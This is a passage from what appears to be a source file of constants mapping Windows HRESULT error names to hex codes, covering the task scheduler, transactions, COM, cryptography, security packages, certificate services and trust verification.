0x8004130E\nSCHED_E_ACCOUNT_INFORMATION_NOT_SET                          = 0x8004130F\nSCHED_E_ACCOUNT_NAME_NOT_FOUND                               = 0x80041310\nSCHED_E_ACCOUNT_DBASE_CORRUPT                                = 0x80041311\nSCHED_E_NO_SECURITY_SERVICES                                 = 0x80041312\nSCHED_E_UNKNOWN_OBJECT_VERSION                               = 0x80041313\nSCHED_E_UNSUPPORTED_ACCOUNT_OPTION                           = 0x80041314\nSCHED_E_SERVICE_NOT_RUNNING                                  = 0x80041315\nSCHED_E_UNEXPECTEDNODE                                       = 0x80041316\nSCHED_E_NAMESPACE                                            = 0x80041317\nSCHED_E_INVALIDVALUE                                         = 0x80041318\nSCHED_E_MISSINGNODE                                          = 0x80041319\nSCHED_E_MALFORMEDXML                                         = 0x8004131A\nSCHED_E_TOO_MANY_NODES                                       = 0x8004131D\nSCHED_E_PAST_END_BOUNDARY                                    = 0x8004131E\nSCHED_E_ALREADY_RUNNING                                      = 0x8004131F\nSCHED_E_USER_NOT_LOGGED_ON                                   = 0x80041320\nSCHED_E_INVALID_TASK_HASH                                    = 0x80041321\nSCHED_E_SERVICE_NOT_AVAILABLE                                = 0x80041322\nSCHED_E_SERVICE_TOO_BUSY                                     = 0x80041323\nSCHED_E_TASK_ATTEMPTED                                       = 0x80041324\nXACT_E_ALREADYOTHERSINGLEPHASE                               = 0x8004D000\nXACT_E_CANTRETAIN                                            = 0x8004D001\nXACT_E_COMMITFAILED                                          = 0x8004D002\nXACT_E_COMMITPREVENTED                                       = 0x8004D003\nXACT_E_HEURISTICABORT                                        = 0x8004D004\nXACT_E_HEURISTICCOMMIT                                       = 0x8004D005\nXACT_E_HEURISTICDAMAGE                                       = 0x8004D006\nXACT_E_HEURISTICDANGER                                       = 0x8004D007\nXACT_E_ISOLATIONLEVEL                                        = 0x8004D008\nXACT_E_NOASYNC                                               = 0x8004D009\nXACT_E_NOENLIST                                              = 0x8004D00A\nXACT_E_NOISORETAIN                                           = 0x8004D00B\nXACT_E_NORESOURCE                                            = 0x8004D00C\nXACT_E_NOTCURRENT                                            = 0x8004D00D\nXACT_E_NOTRANSACTION                                         = 0x8004D00E\nXACT_E_NOTSUPPORTED                                          = 0x8004D00F\nXACT_E_UNKNOWNRMGRID                                         = 0x8004D010\nXACT_E_WRONGSTATE                                            = 0x8004D011\nXACT_E_WRONGUOW                                              = 0x8004D012\nXACT_E_XTIONEXISTS                                           = 0x8004D013\nXACT_E_NOIMPORTOBJECT                                        = 0x8004D014\nXACT_E_INVALIDCOOKIE                                         = 0x8004D015\nXACT_E_INDOUBT                                               = 0x8004D016\nXACT_E_NOTIMEOUT                                             = 0x8004D017\nXACT_E_ALREADYINPROGRESS                                     = 0x8004D018\nXACT_E_ABORTED                                               = 0x8004D019\nXACT_E_LOGFULL                                               = 0x8004D01A\nXACT_E_TMNOTAVAILABLE                                        = 0x8004D01B\nXACT_E_CONNECTION_DOWN                                       = 0x8004D01C\nXACT_E_CONNECTION_DENIED                                     = 0x8004D01D\nXACT_E_REENLISTTIMEOUT                                       = 0x8004D01E\nXACT_E_TIP_CONNECT_FAILED                                    = 0x8004D01F\nXACT_E_TIP_PROTOCOL_ERROR                                    = 0x8004D020\nXACT_E_TIP_PULL_FAILED                                       = 0x8004D021\nXACT_E_DEST_TMNOTAVAILABLE                                   = 0x8004D022\nXACT_E_TIP_DISABLED                                          = 0x8004D023\nXACT_E_NETWORK_TX_DISABLED                                   = 0x8004D024\nXACT_E_PARTNER_NETWORK_TX_DISABLED                           = 0x8004D025\nXACT_E_XA_TX_DISABLED                                        = 0x8004D026\nXACT_E_UNABLE_TO_READ_DTC_CONFIG                             = 0x8004D027\nXACT_E_UNABLE_TO_LOAD_DTC_PROXY                              = 0x8004D028\nXACT_E_ABORTING                                              = 0x8004D029\nXACT_E_CLERKNOTFOUND                                         = 0x8004D080\nXACT_E_CLERKEXISTS                                           = 0x8004D081\nXACT_E_RECOVERYINPROGRESS                                    = 0x8004D082\nXACT_E_TRANSACTIONCLOSED                                     = 0x8004D083\nXACT_E_INVALIDLSN                                            = 0x8004D084\nXACT_E_REPLAYREQUEST                                         = 0x8004D085\nXACT_E_CONNECTION_REQUEST_DENIED                             = 0x8004D100\nXACT_E_TOOMANY_ENLISTMENTS                                   = 0x8004D101\nXACT_E_DUPLICATE_GUID                                        = 0x8004D102\nXACT_E_NOTSINGLEPHASE                                        = 0x8004D103\nXACT_E_RECOVERYALREADYDONE                                   = 0x8004D104\nXACT_E_PROTOCOL                                              = 0x8004D105\nXACT_E_RM_FAILURE                                            = 0x8004D106\nXACT_E_RECOVERY_FAILED                                       = 0x8004D107\nXACT_E_LU_NOT_FOUND                                          = 0x8004D108\nXACT_E_DUPLICATE_LU                                          = 0x8004D109\nXACT_E_LU_NOT_CONNECTED                                      = 0x8004D10A\nXACT_E_DUPLICATE_TRANSID                                     = 0x8004D10B\nXACT_E_LU_BUSY                                               = 0x8004D10C\nXACT_E_LU_NO_RECOVERY_PROCESS                                = 0x8004D10D\nXACT_E_LU_DOWN                                               = 0x8004D10E\nXACT_E_LU_RECOVERING                                         = 0x8004D10F\nXACT_E_LU_RECOVERY_MISMATCH                                  = 0x8004D110\nXACT_E_RM_UNAVAILABLE                                        = 0x8004D111\nCONTEXT_E_ABORTED                                            = 0x8004E002\nCONTEXT_E_ABORTING                                           = 0x8004E003\nCONTEXT_E_NOCONTEXT                                          = 0x8004E004\nCONTEXT_E_WOULD_DEADLOCK                                     = 0x8004E005\nCONTEXT_E_SYNCH_TIMEOUT                                      = 0x8004E006\nCONTEXT_E_OLDREF                                             = 0x8004E007\nCONTEXT_E_ROLENOTFOUND                                       = 0x8004E00C\nCONTEXT_E_TMNOTAVAILABLE                                     = 0x8004E00F\nCO_E_ACTIVATIONFAILED                                        = 0x8004E021\nCO_E_ACTIVATIONFAILED_EVENTLOGGED                            = 0x8004E022\nCO_E_ACTIVATIONFAILED_CATALOGERROR                           = 0x8004E023\nCO_E_ACTIVATIONFAILED_TIMEOUT                                = 0x8004E024\nCO_E_INITIALIZATIONFAILED                                    = 0x8004E025\nCONTEXT_E_NOJIT                                              = 0x8004E026\nCONTEXT_E_NOTRANSACTION                                      = 0x8004E027\nCO_E_THREADINGMODEL_CHANGED                                  = 0x8004E028\nCO_E_NOIISINTRINSICS                                         = 0x8004E029\nCO_E_NOCOOKIES                                               = 0x8004E02A\nCO_E_DBERROR                                                 = 0x8004E02B\nCO_E_NOTPOOLED                                               = 0x8004E02C\nCO_E_NOTCONSTRUCTED                                          = 0x8004E02D\nCO_E_NOSYNCHRONIZATION                                       = 0x8004E02E\nCO_E_ISOLEVELMISMATCH                                        = 0x8004E02F\nCO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED                        = 0x8004E030\nCO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED                       = 0x8004E031\nE_ACCESSDENIED                                               = 0x80070005\nE_OUTOFMEMORY                                                = 0x8007000E\nERROR_NOT_SUPPORTED                                          = 0x80070032\nE_INVALIDARG                                                 = 0x80070057\nCO_E_CLASS_CREATE_FAILED                                     = 0x80080001\nCO_E_SCM_ERROR                                               = 0x80080002\nCO_E_SCM_RPC_FAILURE                                         = 0x80080003\nCO_E_BAD_PATH                                                = 0x80080004\nCO_E_SERVER_EXEC_FAILURE                                     = 0x80080005\nCO_E_OBJSRV_RPC_FAILURE                                      = 0x80080006\nMK_E_NO_NORMALIZED                                           = 0x80080007\nCO_E_SERVER_STOPPING                                         = 0x80080008\nMEM_E_INVALID_ROOT                                           = 0x80080009\nMEM_E_INVALID_LINK                                           = 0x80080010\nMEM_E_INVALID_SIZE                                           = 0x80080011\nCO_E_MISSING_DISPLAYNAME                                     = 0x80080015\nCO_E_RUNAS_VALUE_MUST_BE_AAA                                 = 0x80080016\nCO_E_ELEVATION_DISABLED                                      = 0x80080017\nNTE_BAD_UID                                                  = 0x80090001\nNTE_BAD_HASH                                                 = 0x80090002\nNTE_BAD_KEY                                                  = 0x80090003\nNTE_BAD_LEN                                                  = 0x80090004\nNTE_BAD_DATA                                                 = 0x80090005\nNTE_BAD_SIGNATURE                                            = 0x80090006\nNTE_BAD_VER                                                  = 0x80090007\nNTE_BAD_ALGID                                                = 0x80090008\nNTE_BAD_FLAGS                                                = 0x80090009\nNTE_BAD_TYPE                                                 = 0x8009000A\nNTE_BAD_KEY_STATE                                            = 0x8009000B\nNTE_BAD_HASH_STATE                                           = 0x8009000C\nNTE_NO_KEY                                                   = 0x8009000D\nNTE_NO_MEMORY                                                = 0x8009000E\nNTE_EXISTS                                                   = 0x8009000F\nNTE_PERM                                                     = 0x80090010\nNTE_NOT_FOUND                                                = 0x80090011\nNTE_DOUBLE_ENCRYPT                                           = 0x80090012\nNTE_BAD_PROVIDER                                             = 0x80090013\nNTE_BAD_PROV_TYPE                                            = 0x80090014\nNTE_BAD_PUBLIC_KEY                                           = 0x80090015\nNTE_BAD_KEYSET                                               = 0x80090016\nNTE_PROV_TYPE_NOT_DEF                                        = 0x80090017\nNTE_PROV_TYPE_ENTRY_BAD                                      = 0x80090018\nNTE_KEYSET_NOT_DEF                                           = 0x80090019\nNTE_KEYSET_ENTRY_BAD                                         = 0x8009001A\nNTE_PROV_TYPE_NO_MATCH                                       = 0x8009001B\nNTE_SIGNATURE_FILE_BAD                                       = 0x8009001C\nNTE_PROVIDER_DLL_FAIL                                        = 0x8009001D\nNTE_PROV_DLL_NOT_FOUND                                       = 0x8009001E\nNTE_BAD_KEYSET_PARAM                                         = 0x8009001F\nNTE_FAIL                                                     = 0x80090020\nNTE_SYS_ERR                                                  = 0x80090021\nNTE_SILENT_CONTEXT                                           = 0x80090022\nNTE_TOKEN_KEYSET_STORAGE_FULL                                = 0x80090023\nNTE_TEMPORARY_PROFILE                                        = 0x80090024\nNTE_FIXEDPARAMETER                                           = 0x80090025\nNTE_INVALID_HANDLE                                           = 0x80090026\nNTE_INVALID_PARAMETER                                        = 0x80090027\nNTE_BUFFER_TOO_SMALL                                         = 0x80090028\nNTE_NOT_SUPPORTED                                            = 0x80090029\nNTE_NO_MORE_ITEMS                                            = 0x8009002A\nNTE_BUFFERS_OVERLAP                                          = 0x8009002B\nNTE_DECRYPTION_FAILURE                                       = 0x8009002C\nNTE_INTERNAL_ERROR                                           = 0x8009002D\nNTE_UI_REQUIRED                                              = 0x8009002E\nNTE_HMAC_NOT_SUPPORTED                                       = 0x8009002F\nSEC_E_INSUFFICIENT_MEMORY                                    = 0x80090300\nSEC_E_INVALID_HANDLE                                         = 0x80090301\nSEC_E_UNSUPPORTED_FUNCTION                                   = 0x80090302\nSEC_E_TARGET_UNKNOWN                                         = 0x80090303\nSEC_E_INTERNAL_ERROR                                         = 0x80090304\nSEC_E_SECPKG_NOT_FOUND                                       = 0x80090305\nSEC_E_NOT_OWNER                                              = 0x80090306\nSEC_E_CANNOT_INSTALL                                         = 0x80090307\nSEC_E_INVALID_TOKEN                                          = 0x80090308\nSEC_E_CANNOT_PACK                                            = 0x80090309\nSEC_E_QOP_NOT_SUPPORTED                                      = 0x8009030A\nSEC_E_NO_IMPERSONATION                                       = 0x8009030B\nSEC_E_LOGON_DENIED                                           = 0x8009030C\nSEC_E_UNKNOWN_CREDENTIALS                                    = 0x8009030D\nSEC_E_NO_CREDENTIALS                                         = 0x8009030E\nSEC_E_MESSAGE_ALTERED                                        = 0x8009030F\nSEC_E_OUT_OF_SEQUENCE                                        = 0x80090310\nSEC_E_NO_AUTHENTICATING_AUTHORITY                            = 0x80090311\nSEC_E_BAD_PKGID                                              = 0x80090316\nSEC_E_CONTEXT_EXPIRED                                        = 0x80090317\nSEC_E_INCOMPLETE_MESSAGE                                     = 0x80090318\nSEC_E_INCOMPLETE_CREDENTIALS                                 = 0x80090320\nSEC_E_BUFFER_TOO_SMALL                                       = 0x80090321\nSEC_E_WRONG_PRINCIPAL                                        = 0x80090322\nSEC_E_TIME_SKEW                                              = 0x80090324\nSEC_E_UNTRUSTED_ROOT                                         = 0x80090325\nSEC_E_ILLEGAL_MESSAGE                                        = 0x80090326\nSEC_E_CERT_UNKNOWN                                           = 0x80090327\nSEC_E_CERT_EXPIRED                                           = 0x80090328\nSEC_E_ENCRYPT_FAILURE                                        = 0x80090329\nSEC_E_DECRYPT_FAILURE                                        = 0x80090330\nSEC_E_ALGORITHM_MISMATCH                                     = 0x80090331\nSEC_E_SECURITY_QOS_FAILED                                    = 0x80090332\nSEC_E_UNFINISHED_CONTEXT_DELETED                             = 0x80090333\nSEC_E_NO_TGT_REPLY                                           = 0x80090334\nSEC_E_NO_IP_ADDRESSES                                        = 0x80090335\nSEC_E_WRONG_CREDENTIAL_HANDLE                                = 0x80090336\nSEC_E_CRYPTO_SYSTEM_INVALID                                  = 0x80090337\nSEC_E_MAX_REFERRALS_EXCEEDED                                 = 0x80090338\nSEC_E_MUST_BE_KDC                                            = 0x80090339\nSEC_E_STRONG_CRYPTO_NOT_SUPPORTED                            = 0x8009033A\nSEC_E_TOO_MANY_PRINCIPALS                                    = 0x8009033B\nSEC_E_NO_PA_DATA                                             = 0x8009033C\nSEC_E_PKINIT_NAME_MISMATCH                                   = 0x8009033D\nSEC_E_SMARTCARD_LOGON_REQUIRED                               = 0x8009033E\nSEC_E_SHUTDOWN_IN_PROGRESS                                   = 0x8009033F\nSEC_E_KDC_INVALID_REQUEST                                    = 0x80090340\nSEC_E_KDC_UNABLE_TO_REFER                                    = 0x80090341\nSEC_E_KDC_UNKNOWN_ETYPE                                      = 0x80090342\nSEC_E_UNSUPPORTED_PREAUTH                                    = 0x80090343\nSEC_E_DELEGATION_REQUIRED                                    = 0x80090345\nSEC_E_BAD_BINDINGS                                           = 0x80090346\nSEC_E_MULTIPLE_ACCOUNTS                                      = 0x80090347\nSEC_E_NO_KERB_KEY                                            = 0x80090348\nSEC_E_CERT_WRONG_USAGE                                       = 0x80090349\nSEC_E_DOWNGRADE_DETECTED                                     = 0x80090350\nSEC_E_SMARTCARD_CERT_REVOKED                                 = 0x80090351\nSEC_E_ISSUING_CA_UNTRUSTED                                   = 0x80090352\nSEC_E_REVOCATION_OFFLINE_C                                   = 0x80090353\nSEC_E_PKINIT_CLIENT_FAILURE                                  = 0x80090354\nSEC_E_SMARTCARD_CERT_EXPIRED                                 = 0x80090355\nSEC_E_NO_S4U_PROT_SUPPORT                                    = 0x80090356\nSEC_E_CROSSREALM_DELEGATION_FAILURE                          = 0x80090357\nSEC_E_REVOCATION_OFFLINE_KDC                                 = 0x80090358\nSEC_E_ISSUING_CA_UNTRUSTED_KDC                               = 0x80090359\nSEC_E_KDC_CERT_EXPIRED                                       = 0x8009035A\nSEC_E_KDC_CERT_REVOKED                                       = 0x8009035B\nSEC_E_INVALID_PARAMETER                                      = 0x8009035D\nSEC_E_DELEGATION_POLICY                                      = 0x8009035E\nSEC_E_POLICY_NLTM_ONLY                                       = 0x8009035F\nCRYPT_E_MSG_ERROR                                            = 0x80091001\nCRYPT_E_UNKNOWN_ALGO                                         = 0x80091002\nCRYPT_E_OID_FORMAT                                           = 0x80091003\nCRYPT_E_INVALID_MSG_TYPE                                     = 0x80091004\nCRYPT_E_UNEXPECTED_ENCODING                                  = 0x80091005\nCRYPT_E_AUTH_ATTR_MISSING                                    = 0x80091006\nCRYPT_E_HASH_VALUE                                           = 0x80091007\nCRYPT_E_INVALID_INDEX                                        = 0x80091008\nCRYPT_E_ALREADY_DECRYPTED                                    = 0x80091009\nCRYPT_E_NOT_DECRYPTED                                        = 0x8009100A\nCRYPT_E_RECIPIENT_NOT_FOUND                                  = 0x8009100B\nCRYPT_E_CONTROL_TYPE                                         = 0x8009100C\nCRYPT_E_ISSUER_SERIALNUMBER                                  = 0x8009100D\nCRYPT_E_SIGNER_NOT_FOUND                                     = 0x8009100E\nCRYPT_E_ATTRIBUTES_MISSING                                   = 0x8009100F\nCRYPT_E_STREAM_MSG_NOT_READY                                 = 0x80091010\nCRYPT_E_STREAM_INSUFFICIENT_DATA                             = 0x80091011\nCRYPT_E_BAD_LEN                                              = 0x80092001\nCRYPT_E_BAD_ENCODE                                           = 0x80092002\nCRYPT_E_FILE_ERROR                                           = 0x80092003\nCRYPT_E_NOT_FOUND                                            = 0x80092004\nCRYPT_E_EXISTS                                               = 0x80092005\nCRYPT_E_NO_PROVIDER                                          = 0x80092006\nCRYPT_E_SELF_SIGNED                                          = 0x80092007\nCRYPT_E_DELETED_PREV                                         = 0x80092008\nCRYPT_E_NO_MATCH                                             = 0x80092009\nCRYPT_E_UNEXPECTED_MSG_TYPE                                  = 0x8009200A\nCRYPT_E_NO_KEY_PROPERTY                                      = 0x8009200B\nCRYPT_E_NO_DECRYPT_CERT                                      = 0x8009200C\nCRYPT_E_BAD_MSG                                              = 0x8009200D\nCRYPT_E_NO_SIGNER                                            = 0x8009200E\nCRYPT_E_PENDING_CLOSE                                        = 0x8009200F\nCRYPT_E_REVOKED                                              = 0x80092010\nCRYPT_E_NO_REVOCATION_DLL                                    = 0x80092011\nCRYPT_E_NO_REVOCATION_CHECK                                  = 0x80092012\nCRYPT_E_REVOCATION_OFFLINE                                   = 0x80092013\nCRYPT_E_NOT_IN_REVOCATION_DATABASE                           = 0x80092014\nCRYPT_E_INVALID_NUMERIC_STRING                               = 0x80092020\nCRYPT_E_INVALID_PRINTABLE_STRING                             = 0x80092021\nCRYPT_E_INVALID_IA5_STRING                                   = 0x80092022\nCRYPT_E_INVALID_X500_STRING                                  = 0x80092023\nCRYPT_E_NOT_CHAR_STRING                                      = 0x80092024\nCRYPT_E_FILERESIZED                                          = 0x80092025\nCRYPT_E_SECURITY_SETTINGS                                    = 0x80092026\nCRYPT_E_NO_VERIFY_USAGE_DLL                                  = 0x80092027\nCRYPT_E_NO_VERIFY_USAGE_CHECK                                = 0x80092028\nCRYPT_E_VERIFY_USAGE_OFFLINE                                 = 0x80092029\nCRYPT_E_NOT_IN_CTL                                           = 0x8009202A\nCRYPT_E_NO_TRUSTED_SIGNER                                    = 0x8009202B\nCRYPT_E_MISSING_PUBKEY_PARA                                  = 0x8009202C\nCRYPT_E_OSS_ERROR                                            = 0x80093000\nOSS_MORE_BUF                                                 = 0x80093001\nOSS_NEGATIVE_UINTEGER                                        = 0x80093002\nOSS_PDU_RANGE                                                = 0x80093003\nOSS_MORE_INPUT                                               = 0x80093004\nOSS_DATA_ERROR                                               = 0x80093005\nOSS_BAD_ARG                                                  = 0x80093006\nOSS_BAD_VERSION                                              = 0x80093007\nOSS_OUT_MEMORY                                               = 0x80093008\nOSS_PDU_MISMATCH                                             = 0x80093009\nOSS_LIMITED                                                  = 0x8009300A\nOSS_BAD_PTR                                                  = 0x8009300B\nOSS_BAD_TIME                                                 = 0x8009300C\nOSS_INDEFINITE_NOT_SUPPORTED                                 = 0x8009300D\nOSS_MEM_ERROR                                                = 0x8009300E\nOSS_BAD_TABLE                                                = 0x8009300F\nOSS_TOO_LONG                                                 = 0x80093010\nOSS_CONSTRAINT_VIOLATED                                      = 0x80093011\nOSS_FATAL_ERROR                                              = 0x80093012\nOSS_ACCESS_SERIALIZATION_ERROR                               = 0x80093013\nOSS_NULL_TBL                                                 = 0x80093014\nOSS_NULL_FCN                                                 = 0x80093015\nOSS_BAD_ENCRULES                                             = 0x80093016\nOSS_UNAVAIL_ENCRULES                                         = 0x80093017\nOSS_CANT_OPEN_TRACE_WINDOW                                   = 0x80093018\nOSS_UNIMPLEMENTED                                            = 0x80093019\nOSS_OID_DLL_NOT_LINKED                                       = 0x8009301A\nOSS_CANT_OPEN_TRACE_FILE                                     = 0x8009301B\nOSS_TRACE_FILE_ALREADY_OPEN                                  = 0x8009301C\nOSS_TABLE_MISMATCH                                           = 0x8009301D\nOSS_TYPE_NOT_SUPPORTED                                       = 0x8009301E\nOSS_REAL_DLL_NOT_LINKED                                      = 0x8009301F\nOSS_REAL_CODE_NOT_LINKED                                     = 0x80093020\nOSS_OUT_OF_RANGE                                             = 0x80093021\nOSS_COPIER_DLL_NOT_LINKED                                    = 0x80093022\nOSS_CONSTRAINT_DLL_NOT_LINKED                                = 0x80093023\nOSS_COMPARATOR_DLL_NOT_LINKED                                = 0x80093024\nOSS_COMPARATOR_CODE_NOT_LINKED                               = 0x80093025\nOSS_MEM_MGR_DLL_NOT_LINKED                                   = 0x80093026\nOSS_PDV_DLL_NOT_LINKED                                       = 0x80093027\nOSS_PDV_CODE_NOT_LINKED                                      = 0x80093028\nOSS_API_DLL_NOT_LINKED                                       = 0x80093029\nOSS_BERDER_DLL_NOT_LINKED                                    = 0x8009302A\nOSS_PER_DLL_NOT_LINKED                                       = 0x8009302B\nOSS_OPEN_TYPE_ERROR                                          = 0x8009302C\nOSS_MUTEX_NOT_CREATED                                        = 0x8009302D\nOSS_CANT_CLOSE_TRACE_FILE                                    = 0x8009302E\nCRYPT_E_ASN1_ERROR                                           = 0x80093100\nCRYPT_E_ASN1_INTERNAL                                        = 0x80093101\nCRYPT_E_ASN1_EOD                                             = 0x80093102\nCRYPT_E_ASN1_CORRUPT                                         = 0x80093103\nCRYPT_E_ASN1_LARGE                                           = 0x80093104\nCRYPT_E_ASN1_CONSTRAINT                                      = 0x80093105\nCRYPT_E_ASN1_MEMORY                                          = 0x80093106\nCRYPT_E_ASN1_OVERFLOW                                        = 0x80093107\nCRYPT_E_ASN1_BADPDU                                          = 0x80093108\nCRYPT_E_ASN1_BADARGS                                         = 0x80093109\nCRYPT_E_ASN1_BADREAL                                         = 0x8009310A\nCRYPT_E_ASN1_BADTAG                                          = 0x8009310B\nCRYPT_E_ASN1_CHOICE                                          = 0x8009310C\nCRYPT_E_ASN1_RULE                                            = 0x8009310D\nCRYPT_E_ASN1_UTF8                                            = 0x8009310E\nCRYPT_E_ASN1_PDU_TYPE                                        = 0x80093133\nCRYPT_E_ASN1_NYI                                             = 0x80093134\nCRYPT_E_ASN1_EXTENDED                                        = 0x80093201\nCRYPT_E_ASN1_NOEOD                                           = 0x80093202\nCERTSRV_E_BAD_REQUESTSUBJECT                                 = 0x80094001\nCERTSRV_E_NO_REQUEST                                         = 0x80094002\nCERTSRV_E_BAD_REQUESTSTATUS                                  = 0x80094003\nCERTSRV_E_PROPERTY_EMPTY                                     = 0x80094004\nCERTSRV_E_INVALID_CA_CERTIFICATE                             = 0x80094005\nCERTSRV_E_SERVER_SUSPENDED                                   = 0x80094006\nCERTSRV_E_ENCODING_LENGTH                                    = 0x80094007\nCERTSRV_E_ROLECONFLICT                                       = 0x80094008\nCERTSRV_E_RESTRICTEDOFFICER                                  = 0x80094009\nCERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED                        = 0x8009400A\nCERTSRV_E_NO_VALID_KRA                                       = 0x8009400B\nCERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL                           = 0x8009400C\nCERTSRV_E_NO_CAADMIN_DEFINED                                 = 0x8009400D\nCERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE                         = 0x8009400E\nCERTSRV_E_NO_DB_SESSIONS                                     = 0x8009400F\nCERTSRV_E_ALIGNMENT_FAULT                                    = 0x80094010\nCERTSRV_E_ENROLL_DENIED                                      = 0x80094011\nCERTSRV_E_TEMPLATE_DENIED                                    = 0x80094012\nCERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE                        = 0x80094013\nCERTSRV_E_UNSUPPORTED_CERT_TYPE                              = 0x80094800\nCERTSRV_E_NO_CERT_TYPE                                       = 0x80094801\nCERTSRV_E_TEMPLATE_CONFLICT                                  = 0x80094802\nCERTSRV_E_SUBJECT_ALT_NAME_REQUIRED                          = 0x80094803\nCERTSRV_E_ARCHIVED_KEY_REQUIRED                              = 0x80094804\nCERTSRV_E_SMIME_REQUIRED                                     = 0x80094805\nCERTSRV_E_BAD_RENEWAL_SUBJECT                                = 0x80094806\nCERTSRV_E_BAD_TEMPLATE_VERSION                               = 0x80094807\nCERTSRV_E_TEMPLATE_POLICY_REQUIRED                           = 0x80094808\nCERTSRV_E_SIGNATURE_POLICY_REQUIRED                          = 0x80094809\nCERTSRV_E_SIGNATURE_COUNT                                    = 0x8009480A\nCERTSRV_E_SIGNATURE_REJECTED                                 = 0x8009480B\nCERTSRV_E_ISSUANCE_POLICY_REQUIRED                           = 0x8009480C\nCERTSRV_E_SUBJECT_UPN_REQUIRED                               = 0x8009480D\nCERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED                    = 0x8009480E\nCERTSRV_E_SUBJECT_DNS_REQUIRED                               = 0x8009480F\nCERTSRV_E_ARCHIVED_KEY_UNEXPECTED                            = 0x80094810\nCERTSRV_E_KEY_LENGTH                                         = 0x80094811\nCERTSRV_E_SUBJECT_EMAIL_REQUIRED                             = 0x80094812\nCERTSRV_E_UNKNOWN_CERT_TYPE                                  = 0x80094813\nCERTSRV_E_CERT_TYPE_OVERLAP                                  = 0x80094814\nCERTSRV_E_TOO_MANY_SIGNATURES                                = 0x80094815\nCERTSRV_E_RENEWAL_BAD_PUBLIC_KEY                             = 0x80094816\nCERTSRV_E_INVALID_EK                                         = 0x80094817\nCERTSRV_E_KEY_ATTESTATION                                    = 0x8009481A\nXENROLL_E_KEY_NOT_EXPORTABLE                                 = 0x80095000\nXENROLL_E_CANNOT_ADD_ROOT_CERT                               = 0x80095001\nXENROLL_E_RESPONSE_KA_HASH_NOT_FOUND                         = 0x80095002\nXENROLL_E_RESPONSE_UNEXPECTED_KA_HASH                        = 0x80095003\nXENROLL_E_RESPONSE_KA_HASH_MISMATCH                          = 0x80095004\nXENROLL_E_KEYSPEC_SMIME_MISMATCH                             = 0x80095005\nTRUST_E_SYSTEM_ERROR                                         = 0x80096001\nTRUST_E_NO_SIGNER_CERT                                       = 0x80096002\nTRUST_E_COUNTER_SIGNER                                       = 0x80096003\nTRUST_E_CERT_SIGNATURE                                       = 0x80096004\nTRUST_E_TIME_STAMP                                           = 0x80096005\nTRUST_E_BAD_DIGEST                                           = 0x80096010\nTRUST_E_BASIC_CONSTRAINTS                                    = 0x80096019\nTRUST_E_FINANCIAL_CRITERIA                                   = 0x8009601E\nMSSIPOTF_E_OUTOFMEMRANGE                                     = 0x80097001\nMSSIPOTF_E_CANTGETOBJECT                                     = 0x80097002\nMSSIPOTF_E_NOHEADTABLE                                       = 0x80097003\nMSSIPOTF_E_BAD_MAGICNUMBER                                   = 0x80097004\nMSSIPOTF_E_BAD_OFFSET_TABLE                                  = 0x80097005\nMSSIPOTF_E_TABLE_TAGORDER                                    = 0x80097006\nMSSIPOTF_E_TABLE_LONGWORD                                    = 0x80097007\nMSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT                         = 0x80097008\nMSSIPOTF_E_TABLES_OVERLAP                                    = 0x80097009\nMSSIPOTF_E_TABLE_PADBYTES                                    = 0x8009700A\nMSSIPOTF_E_FILETOOSMALL                                      = 0x8009700B\nMSSIPOTF_E_TABLE_CHECKSUM                                    = 0x8009700C\nMSSIPOTF_E_FILE_CHECKSUM                                     = 0x8009700D\nMSSIPOTF_E_FAILED_POLICY                                     = 0x80097010\nMSSIPOTF_E_FAILED_HINTS_CHECK                                = 0x80097011\nMSSIPOTF_E_NOT_OPENTYPE                                      = 0x80097012\nMSSIPOTF_E_FILE                                              = 0x80097013\nMSSIPOTF_E_CRYPT                                             = 0x80097014\nMSSIPOTF_E_BADVERSION                                        = 0x80097015\nMSSIPOTF_E_DSIG_STRUCTURE                                    = 0x80097016\nMSSIPOTF_E_PCONST_CHECK                                      = 0x80097017\nMSSIPOTF_E_STRUCTURE                                         = 0x80097018\nERROR_CRED_REQUIRES_CONFIRMATION                             = 0x80097019\nTRUST_E_PROVIDER_UNKNOWN                                     = 0x800B0001\nTRUST_E_ACTION_UNKNOWN                                       = 0x800B0002\nTRUST_E_SUBJECT_FORM_UNKNOWN                                 = 0x800B0003\nTRUST_E_SUBJECT_NOT_TRUSTED                                  = 0x800B0004\nDIGSIG_E_ENCODE                                              = 0x800B0005\nDIGSIG_E_DECODE                                              = 0x800B0006\nDIGSIG_E_EXTENSIBILITY                                       = 0x800B0007\nDIGSIG_E_CRYPTO                                              = 0x800B0008\nPERSIST_E_SIZEDEFINITE                                       = 0x800B0009\nPERSIST_E_SIZEINDEFINITE                                     = 0x800B000A\nPERSIST_E_NOTSELFSIZING                                      = 0x800B000B\nTRUST_E_NOSIGNATURE                                          = 0x800B0100\nCERT_E_EXPIRED                                               = 0x800B0101\nCERT_E_VALIDITYPERIODNESTING                                 = 0x800B0102\nCERT_E_ROLE                                                  = 0x800B0103\nCERT_E_PATHLENCONST                                          = 0x800B0104\nCERT_E_CRITICAL                                              = 0x800B0105\nCERT_E_PURPOSE                                               = 0x800B0106\nCERT_E_ISSUERCHAINING                                        = 0x800B0107\nCERT_E_MALFORMED                                             = 0x800B0108\nCERT_E_UNTRUSTEDROOT                                         = 0x800B0109\nCERT_E_CHAINING                                              = 0x800B010A\nTRUST_E_FAIL                                                 = 0x800B010B\nCERT_E_REVOKED                                               = 0x800B010C\nCERT_E_UNTRUSTEDTESTROOT                                     = 0x800B010D\nCERT_E_REVOCATION_FAILURE                                    = 0x800B010E\nCERT_E_CN_NO_MATCH                                           = 0x800B010F\nCERT_E_WRONG_USAGE                                           = 0x800B0110\nTRUST_E_EXPLICIT_DISTRUST                                    = 0x800B0111\nCERT_E_UNTRUSTEDCA                                           = 0x800B0112\nCERT_E_INVALID_POLICY                                        = 0x800B0113\nCERT_E_INVALID_NAME                                          = 0x800B0114\nNS_W_SERVER_BANDWIDTH_LIMIT                                  = 0x800D0003\nNS_W_FILE_BANDWIDTH_LIMIT                                    = 0x800D0004\nNS_W_UNKNOWN_EVENT                                           = 0x800D0060\nNS_I_CATATONIC_FAILURE                                       = 